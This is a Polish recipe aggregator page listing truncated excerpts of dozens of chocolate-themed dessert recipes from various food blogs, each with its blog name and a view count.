Nadzienie 3 jajka 200 g orzechów pekan 150 g brązowego cukru 160 ml golden syropu 2 łyżki roztopionego masła 1 łyżeczka waniliowego ekstraktu 3 łyżki whisky 100 g gorzkiej czekolady, 70% Przygotuj nadzienie. Orzechy upraż na patelni i grubo pokrój. Ja kroiłam w malakserze. Pokrój grubo czekoladę. Do dużej miski wbij jajka, dodaj cukier, golden surop, roztopione masło, wanilię(...)whisky. Wymieszaj trzepaczką balonową. Dodaj orzechy i czekoladę, wymieszaj łyżką i wyłóż na ciasto. Ponieważ ciasto kruche jest na proszku nie trzeba jego podpiekać. Zawiń brzegi ciasta do środku. Ja próbowałam utworzyć falbankę. Wstaw do nagrzanego piekarnika i piecz przez 55 minut. Wyjmij tartę z piekarnika, przestudź, a następnie wstaw do lodówki na godzinę. Zimne ciasto pokrój na kawałki

codojedzenia
Delicja z wiśniami (bez pieczenia) 591

podłużnych biszkoptów 1,5 szkl wiśni bez pestek z kompotu szkl mleka  słodkie kakao do oprószenia ciasta Krem: 700 ml śmietanki 30% 250 ml mascarpone 150 g białej czekolady 3 łyżki cukru pudru Krem: Czekoladę połamać i rozpuścić w kąpieli wodnej. Lekko przestudzić. Schłodzoną śmietankę ubić na puch, dodać serek mascarpone, cukier puder i rozpuszczoną czekoladę. Zmiksować tylko

Smakołyki Asi
Jak rozpuścić czekoladę w kąpieli wodnej? 150

Idealna jako polewa, doskonała do picia na gorąco, niezbędna do fondue z owocami. Płynna czekolada, bo o niej mowa, to składnik wielu uwielbianych deserów. By cieszyć się jej gładką konsystencją, konieczne jest umiejętne rozpuszczenie słodkiej tabliczki. W przepisach często spotkać można się z pojęciem rozpuszczania czekolady w kąpieli wodnej. Na czym polega ta metoda? Czego […] Artykuł Jak rozpuścić czekoladę

PysiaGotuje.pl
Kremowy mus z dyni 116

Zapraszam na pyszny deser na weekend. Przygotowałam takie złociste deserki z puree z dyni. Zapraszam pięknie do wypróbowania przepisu.  Składniki: 250 g puree z dyni 60 g białej czekolady 400 ml śmietanki 30% 1 fix do śmietany 1 "śnieżka" w proszku cynamon do posypania Przygotowanie: Do garnuszka wkładamy puree z dyni, pokrojona czekoladę i wlewamy 100 ml śmietanki. Wstawiamy(...)mały gaz i podgrzewamy aż czekolada się rozpuści, ciągle mieszając. Odstawiamy do przestudzenia. 150 ml śmietanki ubijamy z fixem na sztywno i dodajemy do przestudzonej masy, miksujemy. Przekładamy masę dyniową do 4 pucharków.Pozostałą śmietanę ubijamy ze "śnieżką " na sztywno i układamy na musie dyniowym. Posypujemy cynamonem. Przechowujemy w lodówce. Przepis na 4 porcje

słodkie i nie tylko historie kulinarne
Krem dyniowo gruszkowy z czekoladowym makaronem 123

Rozgrzewająca zupa krem idealna na jesienne chłody. Wersja lekko ostra z gruszką i dynią na mleczku koksowym. Krem podałam z bardzo fajnym i dobrym makaronem świderki mini Lubella z czekoladą . Makaron pachnie czekoladą i idealnie pasuje do zupy która jest syta i można się nią najeść. Dynia o tej porze roku króluje w mojej kuchni i różne rodzaje kremów które(...)czosnku 1 szklanka wina białego 1 szklanka mleczka kokosowego 2 szklanki  bulionu warzywnego pieprz, sól papryka ostra cynamon szczypta 7 orzechów pekan 150 g makaronu mini świderki z czekoladą Lubella olej rzepakowy 1/2 cytryny mięta Dynię myję dokładnie, kroję na kawałki ale nie obieram jej ze skóry. Pozbawiam ją tylko pestek i miąższu. Układam na blaszce. Cytrynę sparzam dokładnie

wesoła kuchnia
Ciasto pyszny Michałek 2619

Pyszne, lekkie ciasto kakaowe z powidłem śliwkowym, masą na bazie serka mascarpone i śmietany z czekoladkami Michałki. Na to polewa z gorzkiej czekolady i na niej orzeszki ziemne bez soli. Co Wy na to ? Nam smakowało bardzo, polecam i miłego piątku Wam życzę :-) blaszka 24x34 cm Ciasto ciemne: 7 jajek L 1 szklanka cukru brązowego nierafinowanego 140 g mąki tortowej(...)łyżeczka proszku do pieczenia Masa michałkowa: 500 g serka mascarpone 200 ml śmietany 30% około 20 - 25 dkg czekoladek Michałki Dodatkowo: 250 g powidła śliwkowego 1/2 tabliczki gorzkiej czekolady 30 g masła 4 łyżki mleka 2% orzeszki ziemne nie solone do dekoracji Ciasto: 1. Białka oddzielamy od żółtek, dajemy do misy miksera i ubijamy na sztywną pianę, następnie stopniowo dodajemy

kruche babeczki
CIASTO ODRYWANE Z KAKAO 176

razy i zanim zdążyłam pomyśleć o zdjęciach już go nie było 😉 Pulchna, mięciutka drożdżówka, której nie trzeba kroić, a jej odrywanie wciąga niesamowicie... a do tego polewa z białej czekolady! Dla mnie najlepsza jest jako słodkie śniadanie, podana z owocową, aromatyczną herbatką Grenada od Evita- smakorientu.com ☕ Składniki: Ciasto: 2,5 szklanki mąki pszennej 20 g świeżych drożdży 150 ml mleka(...)jajka 4 łyżki cukru do ciasta  ok. 60 g masła  szczypta soli Nadzienie: 3 łyżki kakao 2 łyżki cukru 70 g masła Dodatkowo: 50 g białej czekolady 1 łyżeczka masła Wykonanie: Mleko podgrzewamy do temp. około 30 stopni. W podgrzanym mleku rozpuszczamy 1 łyżkę cukru oraz drożdże. Rozczyn przykrywamy ściereczką i pozostawiamy w ciepły miejscu na około

Kuchnia MagdaLeny
Jesienne menu w VIVIAN 133

kremowe smaki. Danie niczym nie zaskakuje, ale przyjemnie pieści podniebienie. Żółtko cudownie rozlewa się na rybie i pobudza zmysły, które miejscami zostają dopieszczone aromatem białych trufli. Jagnięcina, kawa i czekolada Kolejne danie to biodrówka jagnięca podana z chipsem z pasternaku, sensualnym sosem, w którym wyczuwalne są refleksy kawy i czekolady i borówkami. Połączenie wyszukane w smaku i mogące zadowolić wymagające(...)wieprzowa. Przystawka: śledź / ziemniak / koper / chrzan / olej lniany. Przystawka: jeleń / kurki / borowik / pietruszka / nasturcja. Danie główne: łosoś / kalafior / żółtko / biała trufla / palone masło. Danie główne: biodrówka jagnięca / pasternak / borówka / czekolada / kawa. Deser: sernik / rokitnik / lody ze słonym karmelem. * VIVIAN Restaurant || Magnolia Park, Legnicka 58, Wrocław

Food Square
Ciasto SALCESON 1558

ciasto nadziane dużą ilością pokrojonych jabłek. Warto dodać, że ciasto jest puszyste, miękkie i nie za słodkie w smaku. Przed podaniem możecie je udekorować cukrem pudrem bądź polać roztopioną czekoladą. Zachęcam do pieczenia 😊  Składniki na formę do pieczenia o wymiarach 20 cm x 30 cm: co najmniej 0,5 kg jabłek (waga przed obraniem!) 3 jajka (rozmiar(...)płaskie łyżki gorzkiego kakao 1 płaska łyżeczka proszku do pieczenia 1 płaska łyżeczka sody oczyszczonej 1 płaska łyżeczka cynamonu do dekoracji cukier puder lub roztopiona tabliczka gorzkiej czekolady (100 g) *można zastąpić zwykłym cukrem Jabłka umyć, obrać, usunąć gniazda nasienne i pokroić w kostkę. Do misy robota kuchennego wbić jajka i stopniowo dodawać cukier (zwykły i trzcinowy). Składniki cały czas

Ugotować
Sernik bez masła na biszkoptowym spodzie. 195

twarogu ( u mnie Ulubiony) 4 jajka 3 łyżki soku z cytryny cukier waniliowy budyń 2 łyżki manny cukier według samku duży kubek śmietany 12% szczypta soli Polewa: tabliczka gorzkiej czekolady łyżka kawy ( płyn) łyżka oleju 3 łyżki mleka szklanka wiórków kokosowych Oraz: 2 łyżki kakao tortownica 25 cm łyżka mąki łyżeczka masła mąka do formy 5 - 8 okrągłych biszkoptów(...)robimy małą szczelinę i pozostawiamy tak na godzinę. Teraz wyjmujemy z formy, kładąc stroną z biszkoptami do spodu. Zostawiamy do całkowitego ostygnięcia. Połowę wiórków prażymy na suchej patelni. Czekoladę i resztę składników na polewę podgrzewamy razem, mieszamy aż się ładnie razem połączą. Zimne cisto polewamy tężejącą czekoladą, wierzch dekorujemy wiórkami. I to wszystko, pozostało życzyć smacznego.  Gdy poczęstowałam gości

Dieta moja pasja
Ciastka migdałowe 235

przygotowania ciastek potrzebujesz: mąki migdałowej - ok. 200gbiałka jajek - 2 szt.masło - 14golej kokosowy nierafinowany - 25g Opcjonalne: stewia min. 95% glikozydy stewiolowe - wg uznania (możesz ją kupić tutaj: www.ketoshop.pl ) czekolada gorzka min. 85% kakao - ok. 20g (czekoladę słodzoną stewią możesz także możesz kupić w Keto Shopie) Jak przygotować ciastka? Nastaw piekarnik na 210 stopni z termoobiegiem. Roztop masło i olej kokosowy(...)uniknąć czekania, roztapiając tłuszcz w innym naczyniu, ale wtedy będzie więcej mycia. Decyzja należy do Ciebie. ;) Wbij białka jaj i dodaj mąkę. Teraz jeśli chcesz, możesz dodać stewię i czekoladę startą na drobne kawałki.Uformułuj dowolny kształt.Wstaw do piekarnika i piecz przez 20 minut. UWAGA 1: Czas pieczenia może się różnić u każdego z nas - przecież mamy inne piekarniki

Keto Przepisy
Czekoladowe kuleczki z nutką espresso 64

tylko zrobią te kuleczki, to od razu też się w nich zakochują. Chyba coś jednak w nich jest.... :-) Składniki: masło/olej kokosowy - 100g płatki migdałowe - 100g orzechy laskowe - 150g czekolada 90% - 50g wiórki kokosowe - 160g stewia min.95% gikozydy stewiolowe - opcjonalne (wg uznania)śmietana 36% - 28g espresso – 1wariant II chilli - opcjonalne (wg uznania)kakao - do obtoczenia Sposób przygotowania: Zmiksuj w misce(...)masło, pokrojone na małe kawałki, orzechy laskowe, wiórki kokosowe oraz płatki migdałowe. Rozpuść czekoladę, najlepiej w małej miseczce w mikrofalówce lub w garnuszku. Wymieszaj czekoladę ze śmietaną i kawą. Przygotuj sobie talerz z wiórkami kokosowymi i połącz wszystkie składniki rękoma.Jeśli decydujesz się na wariant z chilli, nie dodawaj wiórek kokosowych. Obtocz kuleczki w kakao zmieszanym z chilli. Następnie formuj

Keto Przepisy
Owocowa i krucha rozkosz 88

ramach swojego urodzinowego tortu upiekłam ciasto z czekoladowym spodem i owocową górną warstwą. Ciasto wyszło bajecznie dobre (jeśli ktoś lubi smak migdałów, borówek, sera i czekolady) i ten "tort", ani trochę nie był gorszy od tych sklepowych - wręcz przeciwnie! Wiem jednak, że zawsze można doszukać się jakiegoś "ale". W tym przypadku jest to tylko brak lukrowej(...)śmietana 36% - 100gwiórki kokosowe - 80gcynamon - wg uznaniakardamon - wg uznaniastewia (opcjonalna) - wg uzniania Sposób przygotowania: Nastaw piekarnik na 170 stopni. W garnuszku rozpuść olej kokosowy (25g), a następnie czekoladę/kakao. 300g sera mascarpone zmiksuj ze 100g śmietany, rozpuszczonym olejem kokosowym i czekoladą, wiórkami kokosowymi (50g) , dwoma jajkami, cynamonem i kardamonem ( ja dałam szczyptę).Wstaw do piekarnika. W naczyniu zmiksuj: olej kokosowy

Keto Przepisy
Deser "pod pierzynką" 73

porcję: Kalorie: 400 kcalBiałko: 2.2gTłuszcz: 42gWęglowodany: 3.3g Do przygotowania dwóch porcji deseru "pod pierzynką" potrzebujesz: śmietana 42% (lub 36%) - 200mlcynamon - wg uznaniakardamon - szczyptagałka muszkatałowa - szczypta czekolada minimum 85% - 3 kostki (15g) Sposób przygotowania: Schłodzoną śmietanę ubij na sztywno. Dosyp przyprawy i delikatnie wymieszaj (najlepiej gumową łyżką).Zetrzyj na tarce 1 kostkę czekolady i dosyp do śmietany(...)Wymieszaj. Masę przełóż do naczynia i zetrzyj na masę pierzynkę dwóch kostek czekolady. :) Smacznego

Keto Przepisy
O prądowych pieszczotach, czyli lepsze coś niż nic. I placuszki z figami 168

się w tym naszym wspólnym życiu mijamy. Ale nie narzekam; przynajmniej trochę potrwa, zanim się sobą znudzimy.  Ostatnio w pracy z zakamarków zaplecza wyciągnęliśmy podgrzewacze do czekolady. Nie mam pojęcia, czy tak to się naprawdę po polsku nazywa (ale to już temat na inny wpis); chodzi mi o garnki z wbudowaną grzałką. Podłącza się taki do prądu przed pójściem(...)domu, na nim ustawia miskę z czekoladą, a rano czekolada o temperaturze czterdziestu pięciu stopni czeka cierpliwie na zatemperowanie. Problem pojawił się w momencie podłączania... Ja wtyczkę do gniazdka, a gniazdko: bzzzt! Przepływający prąd poczułam aż w łopatce! Szczerze mówiąc, nie pamiętam, żeby kiedyś mi się coś takiego przytrafiło. Dla tych, którzy mają jakieś wątpliwości: zdecydowanie nie polecam. Choć ponoć

Pożeraczka, czyli raz adobrze
„Szarlotka” – bez pieczenia 2323

jabłek (u mnie jonaprince grójeckie) 500 g serka mascarpone około 1 łyżka cukru pudru do smaku – opcjonalnie sok z połowy małej cytryny ok 500 g herbatników 150g mlecznej czekolady 1 łyżeczka oleju kokosowego 1/4 szkl. mleka Obrane jabłka trzemy na tarce o grubych oczkach. Od razu skrapiamy je sokiem z cytryny i miksujemy z mascarpone. Możemy dodać cukier puder(...)smaku. Na dnie blaszki (21x28cm) rozkładamy herbatniki. Następnie wykładamy 1/3 masy, wyrównujemy. Przykrywamy kolejną warstwą herbatników. Ponownie rozprowadzamy 1/3 masy, znów herbatniki, reszta masy. Ostatnią warstwę powinny stanowić herbatniki. Czekoladę łamiemy na kawałki, przekładamy do rondelka. Dodajemy olej kokosowy i wlewamy mleko. Podgrzewamy, aż do rozpuszczenia się czekolady. Polewę rozprowadzamy po herbatnikach. Schładzamy w lodówce

Smaki Na Talerzu
Budyń cynamonowy. 165

rezultacie udało mi się przygotować bardzo smaczny deser. O zaletach domowego budyniu pisałam już we wcześniejszych postach. Największa to szeroka gama smaków. Zamiast cynamonu można dodać wanilię, kawę, czekoladę czy też mleczko kokosowe. Zachęcam do szukania ulubionych smaków. S kładniki: 2 szkl. mleka 2 łyżki cukru 2 łyżki mąki ziemniaczanej 2 żółtka 1 łyżeczka cynamonu 2 kostki czekolady Wykonanie: Zagotować(...)wymieszać z mąką i żółtkami. Dodać do gotującego się mleka, cały czas intensywnie mieszając. Gotować jeszcze przez chwilę. Przelać do przygotowanych naczyń. Na jeszcze ciepły budyń zetrzeć na tarce czekoladę

zadanie-gotowanie
Muffiny dyniowe z kawałkami czekolady 118

przepis na puree dyniowe poniżej) 1 szkl cukru 3/4 szkl mąki ziemniaczanej 2 jajka 2/3 szkl mąki pszennej 1/2 łyżeczki proszku do pieczenia 100 g wiórek kokosowych 50 g czekolady pokrojonej w kostkę (może być gorzka, ale też świetnie smakują z deserową) Piekarnik nagrzać do 170 stopni. Formę do muffinów wyłożyć papilotkami lub przygotować papierowe wolnostojące foremki, albo silikonowe. Masło(...)pieczenia i wymieszać na jednolita masę żeby nie było grudek. Na koniec dodać wiórki kokosowe. Masę wyłożyć do papilotek na ok 2/3 wysokości. Do każdej wyłożyć po 3 kawałeczki czekolady. Wstawić do nagrzanego piekarnika do 170 stopni na ok 23 min. Jak zrobić puree z pieczonej dyni: ok 1 kg dyni umyć i pokroić na grudą kostkę. Usunąć pestki. Położyć

MojaQchnia.pl
Tartaletki z kremem z prażonych orzechów laskowych 114

stopni. Foremki wykładam ciastem, dociskam do brzegów, nadmiar usuwam. Nakłuwam dno foremek małym widelczykiem, by spód nie rósł. Piekę około 15 minut. Krem: 500 g serka mascarpone 1 czekolada sererowa 1/2 czekolady gorzkiej 1 łyżeczka cukru pudru 50 g orzechów laskowych prażonych (ja użyłam tych od Helio – mają wspaniały intensywny smak) Orzechy mielę – mam taki młynek do tego(...)przeznaczony. Jeśli nie macie młyneczka posiekajcie orzechy dokładnie nożem. Czekoladę rozpuszczam w kąpieli wodnej. Wszystkie składniki miksuję. Masę przekładam do rękawa cukierniczego i nadziewam wystudzone tartaletki.     Artykuł Tartaletki z kremem z prażonych orzechów laskowych pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Ciasteczka z orzechami, czekoladą, żurawiną i morelą 125

Pyszne i szybkie ciasteczka z dużą ilością żurawiny, morelą suszoną, orzechami włoskimi i gorzką czekoladą. Jeśli macie ochotę na słodkie do kawy lub po prostu do przegryzienia to polecam. Proste w wykonaniu i smaczne :-) Moje bakalie ze sklepu Radix Bis :-). Miłego dnia Wam życzę :-) Składniki: 320 g mąki pszennej 100 g masła 100 g miodu żurawina suszona u mnie Radix(...)morela suszona u mnie Radix Bis orzechy włoskie u mnie Radix Bis 50 g gorzkiej czekolady 1/2 łyżeczki cynamonu 3 jajka L 1 łyżeczka proszku do pieczenia 1. Masło roztopić z miodem. Zostawić do ostudzenia. Do miski przesiać mąkę z cynamonem i proszkiem do pieczenia. Żurawinę, suszoną morelę, orzechy włoskie i czekoladę posiekać na drobniej.  2. Do przesianej mąki

kruche babeczki
Jogurt straciatella z bananem 172

Składniki (na 1 porcję) - 2 kostki gorzkiej czekolady (ok. 10 g), - opakowanie jogurtu naturalnego (ok. 180 g), - banan (ok. 115 g). Sposób przygotowania 1. Trzemy na tarce o dużych oczkach czekoladę. 2. Tartą czekoladę łączymy z jogurtem. 3. Jogurt straciatella dekorujemy plasterkami banana. Jogurt straciatella z bananem jest bogaty w: - wapń (pochodzący z jogurtu), który jest składnikiem kości i zębów

Zdrowe odżywianie w pięciu smakach
Piegowate ciasteczka z prażonymi orzechami laskowymi i czekoladą 133

Genialne, kruche, domowe ciasteczka. Składniki: Składniki: 1 szklanka mąki pszennej 1 czubata łyżeczka proszku do pieczenia 1/3 łyżeczki soli 1/2 kostki masła 1/4 szklanki cukru 1 jajko 1/2 czekolady gorzkiej 8 orzechów laskowych prażonych (u mnie przepyszne Nowość orzechy laskowe prażone Helio – są genialne) Masło ucieram z cukrem (ucieram mikserem). Dodaję jajko i dalej ucieram. Dodaję mąkę wymieszaną(...)solą i proszkiem do pieczenia. Miksuję na małych obrotach. Wyłączam mikser. Dodaję posiekaną czekoladę i posiekane orzechy. Mieszam łyżką. Na dużej blasze układam papier do pieczenia. Dwoma małymi łyżeczkami nakładam porcje masy. Lekko przyklepuję porcje masy zwilżoną ręką. Masa się mocno klei, więc nie należy formować z niej kulek- ciasteczka same się rozpłyną podczas pieczenia tworząc swoją formę. Mi wyszło

MojaQchnia.pl
Czekoladowe muffinki z nutellą i śliwkami 130

Zaletą muffinek była dla mnie zawsze szybkość ich przygotowania. W krótkim czasie mogliśmy otrzymać coś słodkiego. Dziś przedstawiam przepis na mocno czekoladowe (czekolada, nutella, kakao) muffiny z dodatkiem śliwek. Ten ostatni składnik jest jak dla mnie strzałem w dziesiątkę. Dzięki śliwkom bowiem babeczki stają się wilgotne i to właśnie one przełamują słodki czekoladowy smak. 300 g węgierek 80 g masła(...)mlecznej czekolady 3 łyżki nutelli 2 jajka 150 ml mleka 250 g mąki pszennej 2 łyżeczki proszku do pieczenia 150 g cukru brązowego 2 łyżki kakao W miseczce mieszamy składniki suche, a więc: mąkę, proszek do pieczenia, cukier oraz kakao. W rondelku na małym ogniu roztapiamy masło oraz połamaną na kostki czekoladę. Dodajemy nutellę i cały czas mieszając, podgrzewamy całość

Smaki Na Talerzu
ciasteczka dyniowo owsiane z czekoladą i orzechami 110

składniki: 125 g puree z dyni 110 g płatków owsiany (ja użyłam górskich) 40 g prażonych orzechów laskowych HELIO 40 g czekolady (ja użyłam deserowej) 100 g mąki orkiszowej lub pszennej 60 g masła, w temperaturze pokojowej 1 jajko 70 g cukru 1/2 łyżeczki cynamonu 1/3 łyżeczki sody 1 szczypta soli wykonanie: Czekoladę kroimy w małą kostkę. Orzechy siekamy. Masło(...)miksujemy z jajkiem oraz puree z dyni. W osobnym naczyniu mieszamy wszystkie składniku suche (płatki owsiane, posiekane orzechy, kawałeczki czekolady, mąkę, sodę, cynamon, sól, cukier). Następnie łączymy składniki mokre z suchymi i mieszamy szpatułką do połączenia się składników. Wilgotnymi dłońmi formujemy kuleczki wielkości większego orzecha włoskiego. Układamy w odstępach na blaszce wyłożonej papierem do pieczenia. Pieczemy w przez

Domowy Smak Jedzenia
CIASTO Z PIANKĄ CZEKOLADOWĄ BEZ PIECZENIA 170

Wspaniały deser dla miłośników gorzkiej czekolady i idealny dla osób nie lubiących przesłodzonych ciast. Oba kremy wylewamy na warstwy herbatników i małe co nieco do kawy mamy gotowe, bez włączania piekarnika. Smacznego :) SKŁADNIKI : 42 herbatniki (ja zużyłam 1,5 opakowania herbatników zbożowych z Biedronki) na 2 warstwy. okrągłe biszkopty kakao do posypania NA BUDYŃ : 1 l mleka 2 budynie waniliowe(...)szklanki mąki pszennej 3/4 szklanki cukru 2 całe jajka cukier waniliowy kostka masła 200 g KREM CZEKOLADOWY: gorzka czekolada  1 łyżka kakao 2 łyżki cukru szklanka mleka 2 śmietany śnieżki galaretka cytrynowa GOTUJEMY BUDYŃ : Połowę mleka gotujemy razem z cukrami i masłem. W drugiej części mieszamy mąkę, budynie oraz roztrzepane jajka. Gdy mleko zacznie się gotować przelewamy

Pani na deser
CIASTO ŚLIMAK BEZ PIECZENIA 154

Fajny efekt wizualny i smakowy. Polecam :) SKŁADNIKI NA KEKSÓWKĘ O WYMIARACH 10/25 CM mała paczka herbatników mały słoik smażonych jabłek lub kwaśnego dżemu gotowa rolada u mnie wiśniowa w czekoladzie, lepsza będzie bez polewy szklanka jogurtu naturalnego z lodówki 1 śmietana śnieżka galaretka agrestowa 2 kostki czekolady do dekoracji WYKONANIE : Galaretkę rozpuszczamy w połowie szklanki wody. Odstawiamy do przestygnięcia(...)Galaretkę zimną, ale jeszcze płynną wlewamy do śmietany i dobrze ubijamy, żeby masa była dobrze napowietrzona. Wylewamy najpierw między roladę, a później na nią. Masę wyrównujemy. Na wierzch ścieramy czekoladę i chowamy najlepiej na całą noc do lodówki. Wyciągamy z blachy, delikatnie usuwamy folie i kroimy. Smacznego :) MAŁA RADA : Rolada bez polewy ma tą zaletę, że pianka lepiej się

Pani na deser
LEKKI TORT ORZECHOWY 167

kawy zbożowej typu Inka 3 łyżki cukru 2,5 łyżki śmietany, śmietanki lub mleka 1 łyżeczka żelatyny ORAZ: 3-4 łyżki dżemu o smaku czarnej porzeczki kilka kostek białej czekolady do dekoracji pół filiżanki posłodzonej kawy WYKONANIE CIASTA: Orzechy mielimy, mieszamy z mąką, proszkiem i bułką tartą. Białka ubijamy na sztywno, dosypujemy cukier. Po dokładnym ubiciu dodajemy po jednym żółtku(...)rozpuszczamy i wlewamy do polewy. Nie gotujemy. Odstawiamy do przestudzenia. Wlewamy na tort gdy jest jeszcze płynna, ale już gęstnieje.  DEKORACJA : Pół wafelka, który nam pozostał kroimy, białą czekoladę ścieramy na tarce. Środek wysypujemy czekoladą a kraje wafelkami. Przed krojeniem schładzamy najlepiej całą noc. Smacznego

Pani na deser
CIASTO PAWIANA 184

śmietany 30 % (dobrze schłodzonej) 2-3 łyżki cukru pudru galaretka pomarańczowa ORAZ: opakowanie ciepłych lodów np. z  Lidla (w opakowaniu jest 12 sztuk) mleczna czekolada do dekoracji WYKONANIE: BISZKOPT: Ubijamy białka na sztywno, partiami dodajemy cukier. Żółtka mieszamy z octem i proszkiem do pieczenia. Powoli wlewamy do białek ciągle ubijając. Mąkę przesiewamy. Wsypujemy dzieląc na połowę do masy, mieszamy(...)szklance wody i odstawiamy do przestudzenia. Śnieżki ubijamy razem z mlekiem na sztywno. Dolewamy zimną galaretkę i dobrze ubijamy. Masę równo wykładamy na masę serową. Na tarce ścieramy czekoladę. Ciasto dobrze schładzamy. Jeśli użyjemy śmietany 30%, należy galaretkę pomarańczową rozpuścić w połowie szklanki wody. Ubić śmietanę z cukrem pudrem do smaku na sztywno, dodać lekko tężejącą galaretkę. Wyłożyć

Pani na deser
CIASTO TRIO 160

łyżki jogurtu greckiego 1 kopiata łyżka żelatyny lub: 400 ml śmietany 30% 2-3 łyżki cukru pudru kopiata łyżka żelatyny ORAZ: ok. 20 dag okrągłych biszkoptów 2 kostki czekolady do dekoracji WYKONANIE : BISZKOPT: Białka ubijamy na sztywno, powoli dosypujemy cukier. Żółtka mieszamy z proszkiem i octem, do czasu aż zacznie kipieć. Dodajemy partiami do białek i ciągle ubijamy. Mąkę przesiewamy(...)się rozpuści. Dodajemy 2-3 łyżki śmietany dobrze mieszamy i wlewamy do śmietany. Dobrze miksujemy. Chowamy na chwilkę do lodówki i sprawdzamy. Gdy lekko stężała równo wykładamy na ciasto. Czekoladę ścieramy na tarce. Wstawiamy do lodówki najlepiej na całą noc. DRUGA OPCJA: Kubek dobrze schłodzonej śmietany ubijamy na sztywno, dodajemy cukier puder do smaku. Żelatynę zalewamy zimną wodą, jak napęcznieje

Pani na deser
JAGLANKA JAK BOUNTY 249

jaglanej 1 szklanka  wody 2 łyżeczki ksylitolu lub innego słodzika (jeśli ktoś lubi słodkie to można więcej) 5 łyżek jogurtu naturalnego lub greckiego 2 łyżki wiórków kokosowych gorzka czekolada wg uznania orzechy laskowe mleko spożywcze 2% Sposób przygotowania: Kaszę jaglaną przepłukać we wrzątku, następnie zimną wodą i jeszcze raz we wrzątku. Szklankę wody przelewamy do rondelka i wsypujemy kaszę(...)Następnie odstawiamy pod przykryciem do czasu wchłonięcia się całego płynu. Gotową kaszę blendujemy na gładką masę. Jogurt mieszamy z  łyżką wiórek kokosowych i 1 łyżeczką ksylitolu. Czekoladę gorzką rozpuszczamy z mlekiem w kąpieli wodnej. W szklance układamy warstwowo kaszę jaglaną, jogurt z kokosem, polewamy rozpuszczoną czekoladą, posypujemy pokrojonymi orzechami i na wierzch sypiemy wiórki kokosowe. SMACZNEGO

Prosto i Smacznie z Anetą
Muffiny dyniowe 118

łyżeczki proszku do pieczenia 1 szkl mleka 1/4 szkl oliwy 2 jajka 1 szkl puree z dyni skórka otarta z dwóch pomarańczy Składniki na polewę: 1/2 tabliczki czekolady gorzkiej lub mlecznej wg uznania Wykonanie: Mąkę przesiać do miski, dodać cukier i proszek do pieczenia. W drugiej misce wymieszać jajka, mleko i oliwę. Do mokrych składników wsypać suche, wymieszać, dodać puree(...)dyni, skórkę z pomarańczy i posiekaną czekoladę. Zamieszać niedbale. Ciasto przełożyć do papilotek. Piec w piekarniku nagrzanym do 180 stopni ok 20-25 minut. Ostudzić. W kąpieli wodnej rozpuścić czekoladę i polać nią wg uznania muffiny. Na muffinach ułożyłam dodatkowo opłatki w kształcie dyni. Smacznego

Trufelkowo
Sernik z musem śliwkowym 223

Wypróbujcie i na pewno się rozsmakujecie w tym jakże pysznym serniczku. W mojej wersji spód brownie, ale można zrobić swój wypróbowany   SKŁADNIKI  Ciasto brownie 60 g gorzkiej czekolady 50 g mąki 60 g masła 60 g cukru 1 jajko Masa serowa 1 kg twarogu na sernik ( gotowy lub  zmielony dwukrotnie) 1 szklana cukru kryształ 3 łyżki mąki(...)jajek 1 laska wanilii lub cukier waniliowy  100 ml. śmietany kremówki Mus śliwkowy ok 40 dag. dobrze  dojrzałych śliwek węgierek  3-4 łyżki cukru WYKONANIE Ciasato Czekoladę łamiemy na kawałki i razem z masłem rozpuszczamy w kąpieli wodnej. Lekko ostudzamy. Jajko z cukrem ucieramy do uzyskania jasnej puszystej masy, a następnie partiami dodajemy roztopioną czekoladę. Gdy składniki

W kuchennym oknie Ewy
CIASTO MARCHEWKOWE Z MORELAMI, PISTACJAMI i CZEKOLADĄ 202

Nieduże, ale pełne smaku ciasto marchewkowe, z pistacjami, morelami i czekoladą. Z dużą ilością startej skórki pomarańczowej i z solidną porcją polewy czekoladowej.  Składniki użyte do przygotowania ciasta powinny mieć temperaturę pokojową, nie zapomnijcie więc o wcześniejszym wyjęciu jajek z lodówki. Suche i mokre składniki należy mieszać krótko i trochę niedokładnie. SKŁADNIKI 2 szklanki startej na tarce świeżej marchwi(...)mąki (1i1/2 szklanki) 2 łyżeczki proszku do pieczenia skórka otarta z 1 pomarańczy 50 g drobno pokrojonych suszonych moreli 50 g posiekanych pistacji 50 g pokrojonej w kostkę gorzkiej czekolady POLEWA CZEKOLADOWA 75 g masła 1/4 szklanki cukru pudru 2 łyżki gorzkiego kakao 1/2 łyżeczki żelatyny + 2 łyżki wrzącej wody DO PRZEŁOŻENIA: powidła śliwkowe WYKONANIE Piekarnik rozgrzewamy

cool and minty
ciasto mocno kawowe 1600

łyżki cacao 1 łyżeczka proszku do pieczenia masa jasna : 2 śmietany 30% po 330 ml każda opakowanie serka mascarpone 2 łyżki żelatyny 2 łyżki cukru pudru 150 g gorzkiej czekolady masa ciemna: 2  śmietany 30% po 330 ml każda 2 łyżki żelatyny 7 łyżek cappucino karmelowego wierzch: 800 ml wody 3 łyżki cukru 5 łyżeczek żelatyny 3 łyżki kawy(...)mąkę ziemniaczaną, cacao, kawę rozpuszczalną i proszek do pieczenia. Dodawać do ubitej masy delikatnie wymieszać łyżką. Wstawić do dobrze nagrzanego piekarnika. Piec w temperaturze 180przez 20 minut. masa jasna: Czekoladę dobrze schłodzić , posiekać. Śmietanę ubić z cukrem pudrem i żelatyną rozpuszczoną w niewielkiej ilości gorącej wody. Dodać mascarpone. Do ubitej masy wsypać posiekaną gorzką czekoladę. Delikatnie wymieszać łyżką. Wyłożyć

Darcia w kuchni
Ptysie z kremem waniliowym 143

soli, Krem: 600ml mleka, 2 opakowania budyniu śmietanowego, 1 opakowanie cukru z prawdziwą wanilią, 3 łyżki cukru pudru, 200g masła, 1 kieliszek Likieru Vanilla Dalkowski , Dodatkowo: 1 tabliczka białej czekolady, kolorowa posypka do dekoracji. PRZYGOTOWANIE: 1. Masło oraz wodą przekładam do garnuszka i rozpuszczam. Dodaję sól. Stopniowo przesiewam mąkę. Zaparzam ciasto przez około 5 minut, cały czas mieszając. Ciasto odstawiam(...)masę. Stopniowo dodaję budyń. Dokładnie ucieram. Na końcu do kremu wlewam likier waniliowy. Ucieram. 3. Krem przekładam do rękawa cukierniczego. Ptysie przekrawam na pół. Nakładam porcję kremu i sklejam. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Czekoladą polewam ptysie robiąc esy floresy. Wierzch ptysiów posypuję kolorową posypką

Tradycyjna kuchnia Kasi
Tort chałwowy 135

